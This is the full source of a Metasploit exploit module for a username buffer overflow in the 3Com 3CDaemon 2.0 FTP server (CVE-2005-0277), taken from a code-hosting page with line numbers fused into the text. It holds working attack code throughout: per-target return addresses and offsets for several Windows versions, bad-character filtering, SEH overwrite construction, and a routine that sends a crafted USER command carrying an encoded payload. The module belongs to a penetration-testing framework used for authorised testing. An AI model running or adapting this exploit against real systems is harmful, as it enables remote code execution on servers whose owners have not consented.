Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',14'Description' => %q{15This module exploits a vulnerability in the 3Com 3CDaemon16FTP service. This package is being distributed from the 3Com17web site and is recommended in numerous support documents.18This module uses the USER command to trigger the overflow.19},20'Author' =>21[22'hdm', # Original author23'otr' # Windows XP SP324],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2005-0277'],29[ 'OSVDB', '12810'],30[ 'OSVDB', '12811'],31[ 'BID', '12155']32],33'DefaultOptions' =>34{35'EXITFUNC' => 'seh',36'target' => 037},38'Privileged' => false,39'Payload' =>40{41'Space' => 674,42'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",43'StackAdjustment' => -3500,44'Compat' =>45{46'ConnectionType' => "-find"47}48},49'Platform' => %w{ win },50'Targets' =>51[52[53'Windows 2000 English', # Tested OK - hdm 11/24/200554{55'Platform' => 'win',56'Ret' => 0x75022ac4, # ws2help.dll57'Offset' => 229,58},59],60[61'Windows XP English SP0/SP1',62{63'Platform' => 'win',64'Ret' => 0x71aa32ad, # ws2help.dll65'Offset' => 229,66},67],68[69'Windows NT 4.0 SP4/SP5/SP6',70{71'Platform' => 'win',72'Ret' => 0x77681799, # ws2help.dll73'Offset' => 229,74},75],76[77'Windows 2000 Pro SP4 French',78{79'Platform' => 'win',80'Ret' => 0x775F29D0,81'Offset' => 229,82},83],84[85'Windows XP English SP3',86{87'Platform' => 'win',88'Ret' => 0x7CBD41FB, # 7CBD41FB JMP ESP shell32.data SP389#'Ret' => 0x775C2C1F, # 775C2C1F JMP ESP shell32.data SP190'Offset' => 245,91},92],93],94'DisclosureDate' => '2005-01-04'))95end9697def check98connect99disconnect100if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)101return Exploit::CheckCode::Appears102end103return Exploit::CheckCode::Safe104end105106def exploit107connect108109print_status("Trying target #{target.name}...")110111if (target == targets[4])112buf = rand_text_english(target['Offset'], payload_badchars)113buf << [ target['Ret'] ].pack('V') * 2114buf << payload.encoded115else116buf = rand_text_english(2048, payload_badchars)117seh = generate_seh_payload(target.ret)118buf[target['Offset'], seh.length] = seh119end120121send_cmd( ['USER', buf] , false )122123handler124disconnect125end126end127128129